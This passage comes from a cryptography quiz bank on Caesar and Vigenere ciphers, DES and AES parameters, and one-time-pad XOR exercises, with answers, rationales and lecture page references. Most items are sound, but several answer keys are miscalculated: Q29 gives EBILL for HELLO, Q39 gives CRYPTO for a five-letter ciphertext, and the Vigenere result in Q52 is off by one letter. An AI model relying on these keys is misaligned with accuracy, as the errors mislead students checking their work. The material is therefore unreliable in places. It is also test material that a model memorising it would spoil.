Answer: B. Symmetric-key encryption with perfect secrecy under strict conditions

Why: OTP uses a shared random key and XOR.

Lecture source: pp. 21-23

Q17. [Single answer] Which statement about algorithm openness is most consistent with modern cryptography?

- A. An algorithm can be publicly analyzed while its security depends on secret keys and sound design
- B. Security should depend only on hiding the algorithm
- C. Publishing an algorithm automatically breaks it
- D. Keys are unnecessary when standards are public

Answer: A. An algorithm can be publicly analyzed while its security depends on secret keys and sound design

Why: Modern schemes are commonly scrutinized openly; secrets are keys, not the existence of the algorithm.

Lecture source: p. 13

Q18. [Mini case study] A security architect must choose a concept that specifically addresses confidentiality of transmitted data. Which option is most relevant?

- A. A load-balancing rule only
- B. A file-naming convention
- C. A user-interface color scheme
- D. An encryption scheme with appropriate key management

Answer: D. An encryption scheme with appropriate key management

Why: Encryption is the relevant cryptographic mechanism for protecting data confidentiality in transit.

Lecture source: pp. 43-44

Q19. [True / False] Cryptography can contribute to integrity protection, but the exact guarantee depends on the construction being used.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. True
- D. False

Answer: C. True

Why: The lecture summary includes integrity; a design must still choose mechanisms that actually provide it.

Lecture source: p. 44

Q20. [Comparison] Why is key management an important concern when comparing cryptographic families?

- A. Keys can always be published without consequence
- B. The security model depends on who must possess, publish, distribute, and protect each key
- C. Keys affect only screen layout
- D. Key management matters only for Caesar ciphers

Answer: B. The security model depends on who must possess, publish, distribute, and protect each key

Why: Symmetric schemes need a shared secret, while public-key encryption separates public and secret material.

Lecture source: pp. 22-23, 27

2. Historical substitution ciphers and calculation practice

38 questions. Answers appear immediately below each item.

Q21. [Classification] Which historical cipher is a monoalphabetic substitution cipher?

- A. Caesar cipher
- B. Vigenere cipher
- C. Enigma
- D. RSA

Answer: A. Caesar cipher

Why: Caesar uses one fixed shifted alphabet.

Lecture source: pp. 8, 11

Q22. [Classification] Which historical cipher is a polyalphabetic substitution cipher?

- A. Caesar cipher
- B. DES
- C. One-time pad
- D. Vigenere cipher

Answer: D. Vigenere cipher

Why: Vigenere uses key-dependent alphabet changes rather than one fixed mapping.

Lecture source: pp. 9, 11

Q23. [Classification] Which historical system is also described as polyalphabetic?

- A. RSA
- B. AES
- C. Enigma
- D. Caesar cipher

Answer: C. Enigma

Why: The changing rotor-based substitutions make Enigma polyalphabetic.

Lecture source: pp. 10-11

Q24. [Single answer] What is the core operation in a substitution cipher?

- A. Publish the private key
- B. Replace plaintext symbols according to a defined rule
- C. Delete every repeated symbol
- D. Compress the input before transmission

Answer: B. Replace plaintext symbols according to a defined rule

Why: Substitution ciphers map input symbols to output symbols under a rule.

Lecture source: p. 11

Q25. [Single answer] Why is a complex and well-distributed substitution useful?

- A. It makes patterns harder to exploit
- B. It removes the need for a key
- C. It makes plaintext longer than ciphertext
- D. It guarantees availability

Answer: A. It makes patterns harder to exploit

Why: Poorly distributed substitutions reveal structure and are easier to attack.

Lecture source: p. 11

Q26. [Comparison] Which statement best compares Caesar and Vigenere?

- A. Caesar is public-key encryption, whereas Vigenere is a firewall
- B. Vigenere has no key, whereas Caesar uses two keys
- C. Both always map a plaintext letter to exactly the same ciphertext letter regardless of position
- D. Caesar uses one fixed shift, whereas Vigenere applies shifts determined by a repeating key

Answer: D. Caesar uses one fixed shift, whereas Vigenere applies shifts determined by a repeating key

Why: Vigenere is polyalphabetic because the key position changes the substitution.

Lecture source: pp. 8-9, 11

Q27. [Single answer] In the Caesar example, what does a key value represent?

- A. The number of RSA primes
- B. The number of DES parity bits
- C. The number of alphabet positions used for the shift
- D. The length of the plaintext in bytes

Answer: C. The number of alphabet positions used for the shift

Why: The lecture defines Caesar encryption as shifting the alphabet by the key value.

Lecture source: p. 8

Q28. [Single answer] What forms the key material for the Enigma example?

- A. A one-time pad reused for every message
- B. A combination of rotor and plugboard settings
- C. A single 56-bit DES key
- D. Only a public exponent

Answer: B. A combination of rotor and plugboard settings

Why: The machine configuration determines the substitutions.

Lecture source: p. 10

Q29. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 3, what is the ciphertext for HELLO?

- A. EBILL
- B. KHOOR
- C. DAHHK
- D. OLLEH

Answer: A. EBILL

Why: A left shift by 3 maps each letter to the letter 3 positions earlier modulo 26.

Lecture source: p. 8

Q30. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 5, what is the ciphertext for SECURITY?

- A. XJHZWNYD
- B. MYWOLCNS
- C. YTIRUCES
- D. NZXPMDOT

Answer: D. NZXPMDOT

Why: A left shift by 5 maps each letter to the letter 5 positions earlier modulo 26.

Lecture source: p. 8

Q31. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 1, what is the ciphertext for NETWORK?

- A. LCRUMPI
- B. KROWTEN
- C. MDSVNQJ
- D. OFUXPSL

Answer: C. MDSVNQJ

Why: A left shift by 1 maps each letter to the letter 1 positions earlier modulo 26.

Lecture source: p. 8

Q32. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 7, what is the ciphertext for DATA?

- A. ATAD
- B. WTMT
- C. KHAH
- D. VSLS

Answer: B. WTMT

Why: A left shift by 7 maps each letter to the letter 7 positions earlier modulo 26.

Lecture source: p. 8

Q33. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 4, what is the ciphertext for CIPHER?

- A. YELDAN
- B. GMTLIV
- C. XDKCZM
- D. REHPIC

Answer: A. YELDAN

Why: A left shift by 4 maps each letter to the letter 4 positions earlier modulo 26.

Lecture source: p. 8

Q34. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 2, what is the ciphertext for ATTACK?

- A. CVVCEM
- B. XQQXZH
- C. KCATTA
- D. YRRYAI

Answer: D. YRRYAI

Why: A left shift by 2 maps each letter to the letter 2 positions earlier modulo 26.

Lecture source: p. 8

Q35. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 9, what is the ciphertext for SYSTEM?

- A. IOIJUC
- B. METSYS
- C. JPJKVD
- D. BHBCNV

Answer: C. JPJKVD

Why: A left shift by 9 maps each letter to the letter 9 positions earlier modulo 26.

Lecture source: p. 8

Q36. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 6, what is the ciphertext for MODEL?

- A. LEDOM
- B. GIXYF
- C. SUJKR
- D. FHWXE

Answer: B. GIXYF

Why: A left shift by 6 maps each letter to the letter 6 positions earlier modulo 26.

Lecture source: p. 8

Q37. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 8, what is the ciphertext for TRUST?

- A. LJMKL
- B. BZCAB
- C. KILJK
- D. TSURT

Answer: A. LJMKL

Why: A left shift by 8 maps each letter to the letter 8 positions earlier modulo 26.

Lecture source: p. 8

Q38. [Calculation] Using a Caesar cipher that left-shifts the alphabet by 11, what is the ciphertext for KEY?

- A. VPJ
- B. YSM
- C. YEK
- D. ZTN

Answer: D. ZTN

Why: A left shift by 11 maps each letter to the letter 11 positions earlier modulo 26.

Lecture source: p. 8

Q39. [Calculation] A Caesar ciphertext was produced with a left shift of 3. What plaintext corresponds to ZOVML?

- A. ZOVML
- B. DSZQUP
- C. CRYPTO
- D. WLSJNI

Answer: C. CRYPTO

Why: Decryption reverses the encryption shift by moving 3 positions forward.

Lecture source: p. 8

Q40. [Calculation] A Caesar ciphertext was produced with a left shift of 5. What plaintext corresponds to CZXPODYT?

- A. IFDVUJEZ
- B. HECUTIDY
- C. XUSKJYTO
- D. CZXPODYT

Answer: B. HECUTIDY

Why: Decryption reverses the encryption shift by moving 5 positions forward.

Lecture source: p. 8

Q41. [Calculation] A Caesar ciphertext was produced with a left shift of 4. What plaintext corresponds to MDSVNQ?

- A. QHWZRU
- B. IZORJM
- C. MDSVNQ
- D. RIXASV

Answer: A. QHWZRU

Why: Decryption reverses the encryption shift by moving 4 positions forward.

Lecture source: p. 8

Q42. [Calculation] A Caesar ciphertext was produced with a left shift of 2. What plaintext corresponds to RPNOL?

- A. PNLMJ
- B. RPNOL
- C. USQRO
- D. TRPQN

Answer: D. TRPQN

Why: Decryption reverses the encryption shift by moving 2 positions forward.

Lecture source: p. 8

Q43. [Calculation] A Caesar ciphertext was produced with a left shift of 7. What plaintext corresponds to KXWZL?

- A. KXWZL
- B. SFEHT
- C. REDGS
- D. DQPSE

Answer: C. REDGS

Why: Decryption reverses the encryption shift by moving 7 positions forward.

Lecture source: p. 8

Q44. [Calculation] Using standard Vigenere addition with repeating key DOG, what is the ciphertext for CAT?

- A. CAT
- B. FOZ
- C. IOW
- D. ZXQ

Answer: B. FOZ

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q45. [Calculation] Using standard Vigenere addition with repeating key KEY, what is the ciphertext for HELLO?

- A. RIJVS
- B. FIVJS
- C. EBIL
- D. HELLO

Answer: A. RIJVS

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q46. [Calculation] Using standard Vigenere addition with repeating key CAFE, what is the ciphertext for DATA?

- A. HFTC
- B. ZWPW
- C. DATA
- D. FAYE

Answer: D. FAYE

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q47. [Calculation] Using standard Vigenere addition with repeating key LOCK, what is the ciphertext for TRUST?

- A. PNQOP
- B. TRUST
- C. EFWCE
- D. DTIDD

Answer: C. EFWCE

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q48. [Calculation] Using standard Vigenere addition with repeating key PAD, what is the ciphertext for SECURE?

- A. SECURE
- B. HEFJRH
- C. VERXRT
- D. PBZROB

Answer: B. HEFJRH

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q49. [Calculation] Using standard Vigenere addition with repeating key RISK, what is the ciphertext for MODEL?

- A. DWVOC
- B. WGLVV
- C. IKZAH
- D. MODEL

Answer: A. DWVOC

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q50. [Calculation] Using standard Vigenere addition with repeating key KEY, what is the ciphertext for AES?

- A. YIC
- B. XBP
- C. AES
- D. KIQ

Answer: D. KIQ

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q51. [Calculation] Using standard Vigenere addition with repeating key SAFE, what is the ciphertext for CRYPT?

- A. YNULP
- B. CRYPT
- C. URDTL
- D. GWYHX

Answer: C. URDTL

Why: Repeat the key across the plaintext and add each key-letter shift modulo 26.

Lecture source: p. 9

Q52. [Calculation] In the worked Vigenere example, what ciphertext is produced from CRYPTOGRAPHY using key CAFE repeated across the text?

- A. ECFDTVKRCPFY
- B. ERDTVOKVCPMC
- C. ZOVMQLDOXMEV
- D. CRYPTOGRAPHY

Answer: B. ERDTVOKVCPMC

Why: The repeating key CAFE produces the shown polyalphabetic substitutions.

Lecture source: p. 9

Q53. [Select all that apply] Which statements correctly describe polyalphabetic substitution?

- A. It can reduce the usefulness of simple frequency patterns
- B. Every occurrence of a plaintext letter must always map to one ciphertext letter
- C. It is identical to publishing a public key
- D. The substitution can vary with character position
- E. A repeating key can select different shifts

Answer: A, D, E. The substitution can vary with character position; A repeating key can select different shifts; It can reduce the usefulness of simple frequency patterns

Why: Polyalphabetic systems vary the substitution rather than applying one fixed mapping everywhere.

Lecture source: pp. 9, 11

Q54. [True / False] A Caesar cipher is stronger than modern AES because it is easier to explain.

- A. True
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. False

Answer: D. False

Why: Ease of explanation is not a security argument; Caesar has a tiny search space and obvious structure.

Lecture source: pp. 8, 19-20

Q55. [Mini case study] An analyst observes that every plaintext A is always replaced by the same ciphertext symbol under one fixed alphabet. Which classification is most appropriate?

- A. Public-key encryption
- B. One-time pad
- C. Monoalphabetic substitution
- D. Polyalphabetic substitution

Answer: C. Monoalphabetic substitution

Why: A fixed mapping is monoalphabetic.

Lecture source: p. 11

Q56. [Mini case study] A cipher changes the substitution used for the same plaintext letter as the key position changes. Which classification is most appropriate?

- A. Password hashing
- B. Polyalphabetic substitution
- C. Monoalphabetic substitution
- D. Packet filtering

Answer: B. Polyalphabetic substitution

Why: Position-dependent mappings are polyalphabetic.

Lecture source: pp. 9, 11

Q57. [EXCEPT / NOT] All of the following are historical substitution examples EXCEPT:

- A. RSA
- B. Caesar cipher
- C. Vigenere cipher
- D. Enigma

Answer: A. RSA

Why: RSA is public-key encryption, not an alphabet substitution cipher.

Lecture source: pp. 11, 26-30

Q58. [Assertion-reason] Assertion: Vigenere can map the same plaintext letter to different ciphertext letters at different positions.

Reason: The repeating key influences which alphabet shift is applied at each position.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: That key-dependent variation is why Vigenere is polyalphabetic.

Lecture source: pp. 9, 11

3. DES, AES, block sizes, keys, rounds, and cryptanalysis

35 questions. Answers appear immediately below each item.

Q59. [Single answer] What is the DES block size?

- A. 128 bits
- B. 256 bits
- C. 64 bits
- D. 56 bits

Answer: C. 64 bits

Why: DES accepts a 64-bit input block and produces a 64-bit output block.

Lecture source: p. 16

Q60. [Single answer] How many effective key bits does DES use for security?

- A. 128 bits
- B. 56 bits
- C. 64 bits of independent secret material
- D. 8 bits

Answer: B. 56 bits

Why: The 64-bit DES key representation includes 56 secret bits and 8 parity bits.

Lecture source: p. 16

Q61. [Single answer] What is the role of the 8 additional bits in a 64-bit DES key representation?

- A. Parity bits
- B. A second encryption key
- C. A public exponent
- D. A message-authentication tag

Answer: A. Parity bits

Why: DES is described as 56 key bits plus 8 parity bits.

Lecture source: p. 16

Q62. [Single answer] How many rounds are used by DES?

- A. 8
- B. 10
- C. 64
- D. 16

Answer: D. 16

Why: DES uses 16 Feistel rounds.

Lecture source: p. 16

Q63. [Single answer] What does the DES Feistel function help accomplish?

- A. Replace all rounds with a checksum
- B. Remove the need for decryption
- C. Mix the data through substitution, permutation, and other operations
- D. Publish the secret key

Answer: C. Mix the data through substitution, permutation, and other operations

Why: The Feistel function provides mixing within the repeated structure.

Lecture source: p. 16

Q64. [Single answer] Why is DES no longer considered sufficient for modern protection?

- A. It cannot process bits
- B. Its effective key length is too short against practical attacks
- C. It has no ciphertext output
- D. It is a public-key scheme

Answer: B. Its effective key length is too short against practical attacks

Why: The short 56-bit effective key is a fundamental weakness.

Lecture source: pp. 16-17

Q65. [Single answer] Which analytical techniques are associated with the weakening of DES?

- A. Differential and linear cryptanalysis
- B. Only URL shortening and DNS spoofing
- C. Only SQL injection and cross-site scripting
- D. Only tailgating and shoulder surfing

Answer: A. Differential and linear cryptanalysis

Why: The lecture highlights differential and linear cryptanalysis.

Lecture source: p. 17

Q66. [True / False] DES uses a 64-bit block and an effective 56-bit secret key.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: The remaining 8 bits in the key representation are parity bits.

Lecture source: p. 16

Q67. [EXCEPT / NOT] All of the following describe DES EXCEPT:

- A. It uses a Feistel function
- B. Its short key length is a security problem
- C. It uses a 128-bit block
- D. It has 16 rounds

Answer: C. It uses a 128-bit block

Why: AES, not DES, has a 128-bit block.

Lecture source: p. 16

Q68. [Single answer] What is the AES block size?

- A. 256 bits only
- B. 128 bits
- C. 56 bits
- D. 64 bits

Answer: B. 128 bits

Why: AES processes 128-bit input and output blocks.

Lecture source: p. 19

Q69. [Select all that apply] Which key sizes are standard AES options?

- A. 128 bits
- B. 192 bits
- C. 256 bits
- D. 512 bits
- E. 56 bits
- F. 64 bits

Answer: A, B, C. 128 bits; 192 bits; 256 bits

Why: AES supports 128-, 192-, and 256-bit keys.

Lecture source: p. 19

Q70. [Single answer] How many rounds are shown for AES with a 128-bit key?

- A. 8
- B. 16
- C. 64
- D. 10

Answer: D. 10

Why: The lecture presents the AES-128 configuration with 10 rounds.

Lecture source: p. 19

Q71. [Single answer] What was the original name of the design selected as AES?

- A. EAXprime
- B. CMAC
- C. Rijndael
- D. Feistel

Answer: C. Rijndael

Why: Rijndael became the Advanced Encryption Standard.

Lecture source: p. 19

Q72. [Single answer] Which statement best describes the design goal of AES substitutions?

- A. Use only alphabet shifts
- B. Distribute and mix data so that differential and linear attacks are resisted
- C. Keep each plaintext byte unchanged
- D. Make the secret key public

Answer: B. Distribute and mix data so that differential and linear attacks are resisted

Why: AES was constructed with carefully designed substitutions and mixing.

Lecture source: pp. 19-20

Q73. [True / False] AES is considered broken merely because cryptanalysts continue to study it.

- A. False
- B. True
- C. Only for public-key schemes
- D. Only when a standard is involved

Answer: A. False

Why: Continued analysis is expected; the lecture states no practical break is known.

Lecture source: p. 20

Q74. [Comparison] Which statement correctly compares block size and key size for AES-256?

- A. Both the block and key sizes become 256 bits
- B. The block size becomes 56 bits
- C. AES-256 uses no key
- D. The block size remains 128 bits while the key size is 256 bits

Answer: D. The block size remains 128 bits while the key size is 256 bits

Why: AES key options change key length, not the 128-bit block size.

Lecture source: p. 19

Q75. [Comparison] Which statement correctly compares DES and AES?

- A. AES has a smaller block than DES
- B. DES is public-key encryption while AES is not encryption
- C. DES has a 64-bit block and 56 effective key bits, whereas AES has a 128-bit block and larger key options
- D. DES and AES both use a 56-bit effective key

Answer: C. DES has a 64-bit block and 56 effective key bits, whereas AES has a 128-bit block and larger key options

Why: The modern AES parameters provide a much larger security margin.

Lecture source: pp. 16, 19

Q76. [Mini case study] A legacy application still encrypts sensitive records using single DES. What is the most important concern?

- A. DES requires an alphabet table
- B. The effective 56-bit key is too short for modern security requirements
- C. DES cannot generate ciphertext
- D. DES publishes a public key

Answer: B. The effective 56-bit key is too short for modern security requirements

Why: The short DES key is the central practical weakness.

Lecture source: pp. 16-17

Q77. [Defensive design] A team must replace a legacy DES deployment. Which lecture-covered option is the most appropriate modern symmetric standard?

- A. AES
- B. Caesar cipher
- C. RSA used as a direct DES replacement for every bulk block
- D. A reused one-time pad

Answer: A. AES

Why: AES is the modern standardized symmetric block cipher discussed in the lecture.

Lecture source: pp. 18-20

Q78. [Assertion-reason] Assertion: DES can be represented with 64 key bits but still offer only 56 bits of key security.

Reason: Eight bits are used as parity bits rather than independent secret key bits.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The effective search space is based on the 56 secret bits.

Lecture source: p. 16

Q79. [Assertion-reason] Assertion: AES is stronger than DES in the parameters discussed.

Reason: AES uses a larger block and much larger key options, and it was designed with resistance to major cryptanalytic techniques in mind.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The modern design addresses important limitations of DES.

Lecture source: pp. 16-20

Q80. [Select all that apply] Which statements about AES are correct?

- A. AES can use a 128-bit key
- B. AES can use a 192-bit key
- C. AES can use a 256-bit key
- D. AES always uses a 64-bit block
- E. AES is identical to a Caesar shift
- F. AES uses a 128-bit block

Answer: A, B, C, F. AES uses a 128-bit block; AES can use a 128-bit key; AES can use a 192-bit key; AES can use a 256-bit key

Why: Block size is fixed at 128 bits; key sizes can be 128, 192, or 256 bits.

Lecture source: p. 19

Q81. [Select all that apply] Which statements about DES are correct?

- A. DES has 16 rounds
- B. DES has 56 effective key bits
- C. DES has 8 parity bits in its 64-bit key representation
- D. DES is a public-key algorithm
- E. DES has a 64-bit input block
- F. DES has a 64-bit output block

Answer: A, B, C, E, F. DES has a 64-bit input block; DES has a 64-bit output block; DES has 16 rounds; DES has 56 effective key bits; DES has 8 parity bits in its 64-bit key representation

Why: The public-key statement is incorrect; DES is symmetric.

Lecture source: p. 16

Q82. [Misconception check] A colleague says, "AES-256 must encrypt 256-bit blocks." What is the correct response?

- A. Correct: every AES parameter becomes 256 bits
- B. AES-256 refers to the number of rounds only
- C. AES has no defined block size
- D. AES-256 refers to the key length; the AES block size is still 128 bits

Answer: D. AES-256 refers to the key length; the AES block size is still 128 bits

Why: Key size and block size are different properties.

Lecture source: p. 19

Q83. [Misconception check] A colleague says, "A DES key is 64 secure bits because the key field is 64 bits long." What is the correct response?

- A. All 64 bits are public
- B. DES does not use a key
- C. Only 56 bits are effective secret-key bits; 8 are parity bits
- D. DES has 128 effective bits

Answer: C. Only 56 bits are effective secret-key bits; 8 are parity bits

Why: The representation length is not the same as effective secret-key length.

Lecture source: p. 16

Q84. [Single answer] A cipher processes 64-bit blocks, uses 16 Feistel rounds, and has 56 effective key bits. Which cipher is being described?

- A. ElGamal
- B. DES
- C. AES
- D. RSA

Answer: B. DES

Why: Those parameters identify DES.

Lecture source: p. 16

Q85. [Single answer] A cipher processes 128-bit blocks and supports 128-, 192-, and 256-bit keys. Which cipher is being described?

- A. AES
- B. DES
- C. Caesar cipher
- D. Textbook RSA

Answer: A. AES

Why: Those parameters identify AES.

Lecture source: p. 19

Q86. [Single answer] Which AES property stays the same when moving from AES-128 to AES-256?

- A. The key remains 128 bits
- B. The algorithm becomes public-key encryption
- C. The plaintext must become alphabetic
- D. The block size remains 128 bits

Answer: D. The block size remains 128 bits

Why: AES variants retain a 128-bit block.

Lecture source: p. 19

Q87. [Single answer] Which DES property most directly motivates migration to a newer algorithm?

- A. The use of bits
- B. The fact that decryption is possible
- C. The 56-bit effective key length
- D. The existence of ciphertext

Answer: C. The 56-bit effective key length

Why: The key search space is insufficient for modern protection.

Lecture source: pp. 16-17

Q88. [Single answer] Which operation pair is explicitly part of the DES Feistel-function description?

- A. Routing and filtering
- B. Substitution and permutation
- C. Hashing and signing
- D. Compression and decompression

Answer: B. Substitution and permutation

Why: The Feistel function mixes data with substitution and permutation plus other operations.

Lecture source: p. 16

Q89. [Single answer] Which attacks was AES designed to resist in the lecture overview?

- A. Differential and linear cryptanalysis
- B. Tailgating and shoulder surfing
- C. ARP spoofing and DNS poisoning
- D. SQL injection and command injection

Answer: A. Differential and linear cryptanalysis

Why: AES construction was informed by lessons from cryptanalysis.

Lecture source: p. 19

Q90. [True / False] A standard cipher can be studied publicly and still remain secure if no practical attack is known and the keys are protected.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: Open analysis is normal in modern cryptography.

Lecture source: pp. 13, 20

Q91. [EXCEPT / NOT] All of the following are sensible reasons to prefer AES over DES for new symmetric encryption EXCEPT:

- A. AES has a 128-bit block
- B. DES has a short effective key length
- C. AES uses a smaller effective key space than DES
- D. AES supports much larger keys

Answer: C. AES uses a smaller effective key space than DES

Why: AES does not have a smaller key space than DES.

Lecture source: pp. 16, 19

Q92. [Mini case study] An exam question states that a scheme has 128-bit input, 128-bit output, and an optional 256-bit key. Which interpretation is correct?

- A. It must be a one-time pad with reused key material
- B. It is consistent with AES parameters
- C. It must be DES
- D. It must be a Caesar cipher

Answer: B. It is consistent with AES parameters

Why: AES uses 128-bit blocks and supports 256-bit keys as an option.

Lecture source: p. 19

Q93. [True / False] Linear and differential cryptanalysis are examples of reasons cipher design should be evaluated scientifically rather than only intuitively.

- A. True
- B. False
- C. Only for public-key schemes
- D. Only when a standard is involved

Answer: A. True

Why: Modern design aims to resist known analytical techniques.

Lecture source: pp. 13, 17, 19

4. One-time pad, XOR, key reuse, and modern symmetric constructions

29 questions. Answers appear immediately below each item.

Q94. [Single answer] Under which conditions does a one-time pad provide perfect secrecy?

- A. The key is short and reused for convenience
- B. The key is published with the ciphertext
- C. The plaintext is always shorter than one byte
- D. The key is random, at least as long as the plaintext, shared securely, and never reused

Answer: D. The key is random, at least as long as the plaintext, shared securely, and never reused

Why: OTP security depends on strict key-generation, length, distribution, and non-reuse requirements.

Lecture source: pp. 22-23

Q95. [Single answer] Which operation is used in the one-time-pad example?

- A. Sorting
- B. URL encoding
- C. XOR
- D. Integer division

Answer: C. XOR

Why: The plaintext bit sequence is XORed with the key sequence.

Lecture source: p. 22

Q96. [Single answer] Why must a one-time-pad key never be reused?

- A. Reuse automatically publishes the plaintext file name
- B. Reusing the pad creates relationships between ciphertexts that can leak information
- C. Reuse makes the ciphertext too short
- D. Reuse converts XOR into addition

Answer: B. Reusing the pad creates relationships between ciphertexts that can leak information

Why: The one-time nature of the key is essential to perfect secrecy.

Lecture source: p. 23

Q97. [Single answer] What practical problem makes one-time pads difficult to deploy widely?

- A. Securely sharing and managing a long random key
- B. Generating any ciphertext at all
- C. The absence of an encryption rule
- D. The inability to use bits

Answer: A. Securely sharing and managing a long random key

Why: The key must be at least as long as the message and securely shared in advance.

Lecture source: pp. 22-23

Q98. [True / False] A one-time-pad key may be shorter than the plaintext if it is repeated often enough.

- A. True
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. False

Answer: D. False

Why: Repeating a shorter key violates the strict OTP requirement and removes perfect secrecy.

Lecture source: p. 22

Q99. [True / False] A properly used one-time pad is information-theoretically secure.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. True
- D. False

Answer: C. True

Why: The lecture equates perfect secrecy with information-theoretic security.

Lecture source: p. 22

Q100. [Comparison] Which statement best compares OTP with AES?

- A. OTP is public-key encryption
- B. OTP can provide perfect secrecy under strict key requirements, while AES is a practical modern cipher with manageable keys
- C. OTP and AES are the same scheme
- D. AES requires a key as long as every plaintext

Answer: B. OTP can provide perfect secrecy under strict key requirements, while AES is a practical modern cipher with manageable keys

Why: The security and deployment models are different.

Lecture source: pp. 19, 22-24

Q101. [Single answer] Which modern symmetric construction is highlighted as used in protocols such as TLS/HTTPS, VPNs, SSH, and mobile networks?

- A. ChaCha20-Poly1305
- B. Caesar cipher
- C. Textbook RSA
- D. Enigma

Answer: A. ChaCha20-Poly1305

Why: The lecture identifies ChaCha20-Poly1305 as a modern Internet construction.

Lecture source: pp. 6, 24

Q102. [Calculation] Compute the one-time-pad XOR result: plaintext 1010 XOR key 1100.

- A. 0000
- B. 1010
- C. 1100
- D. 0110

Answer: D. 0110

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q103. [Calculation] Compute the one-time-pad XOR result: plaintext 11110000 XOR key 01010101.

- A. 11110000
- B. 01010101
- C. 10100101
- D. 00000000

Answer: C. 10100101

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q104. [Calculation] Compute the one-time-pad XOR result: plaintext 001101 XOR key 101011.

- A. 101011
- B. 100110
- C. 000000
- D. 001101

Answer: B. 100110

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q105. [Calculation] Compute the one-time-pad XOR result: plaintext 1001011 XOR key 1100010.

- A. 0101001
- B. 0000000
- C. 1001011
- D. 1100010

Answer: A. 0101001

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q106. [Calculation] Compute the one-time-pad XOR result: plaintext 01101100 XOR key 10101010.

- A. 00000000
- B. 01101100
- C. 10101010
- D. 11000110

Answer: D. 11000110

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q107. [Calculation] Compute the one-time-pad XOR result: plaintext 0000 XOR key 1111.

- A. None of the other options
- B. Insufficient information to determine the result
- C. 1111
- D. 0000

Answer: C. 1111

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q108. [Calculation] Compute the one-time-pad XOR result: plaintext 110011 XOR key 010101.

- A. 010101
- B. 100110
- C. 000000
- D. 110011

Answer: B. 100110

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q109. [Calculation] Compute the one-time-pad XOR result: plaintext 10110101 XOR key 00111100.

- A. 10001001
- B. 00000000
- C. 10110101
- D. 00111100

Answer: A. 10001001

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q110. [Calculation] Compute the one-time-pad XOR result: plaintext 111000 XOR key 101010.

- A. 000000
- B. 111000
- C. 101010
- D. 010010

Answer: D. 010010

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q111. [Calculation] Compute the one-time-pad XOR result: plaintext 01010101 XOR key 11110000.

- A. 01010101
- B. 11110000
- C. 10100101
- D. 00000000

Answer: C. 10100101

Why: XOR outputs 1 when the input bits differ and 0 when they match.

Lecture source: p. 22

Q112. [Calculation] In an OTP system, ciphertext is 0101001 and key is 1100010. What plaintext is recovered by XORing ciphertext with the key?

- A. 1011110
- B. 1001011
- C. 0101001
- D. 1100010

Answer: B. 1001011

Why: XOR is its own inverse: ciphertext XOR key recovers plaintext.

Lecture source: p. 22

Q113. [Select all that apply] Which conditions are required for the strict one-time-pad security claim?

- A. The key is posted publicly
- B. The key is a fixed short password repeated across the message
- C. The key is randomly generated
- D. The key is at least as long as the plaintext
- E. The key is not reused
- F. The communicating parties share the key securely

Answer: C, D, E, F. The key is randomly generated; The key is at least as long as the plaintext; The key is not reused; The communicating parties share the key securely

Why: Removing any of the required conditions undermines the perfect-secrecy claim.

Lecture source: pp. 22-23

Q114. [Mini case study] Two different messages were encrypted with the same one-time-pad sequence. Which assessment is correct?

- A. The design is safe because XOR always guarantees perfect secrecy
- B. The design becomes public-key encryption
- C. The ciphertexts can be treated as AES blocks
- D. The design violates the non-reuse requirement and may leak relationships between messages

Answer: D. The design violates the non-reuse requirement and may leak relationships between messages

Why: OTP security fails when the pad is reused.

Lecture source: p. 23

Q115. [Mini case study] A team generates a random 2,000-bit pad to protect a 5,000-bit plaintext by repeating the pad. Is this a proper one-time pad?

- A. Yes, because repeating a pad increases entropy
- B. No, because OTP can use only alphabetic messages
- C. No, because the key is shorter than the plaintext and is reused
- D. Yes, because any random prefix is enough

Answer: C. No, because the key is shorter than the plaintext and is reused

Why: A strict OTP requires enough fresh key material for the entire plaintext.

Lecture source: pp. 22-23

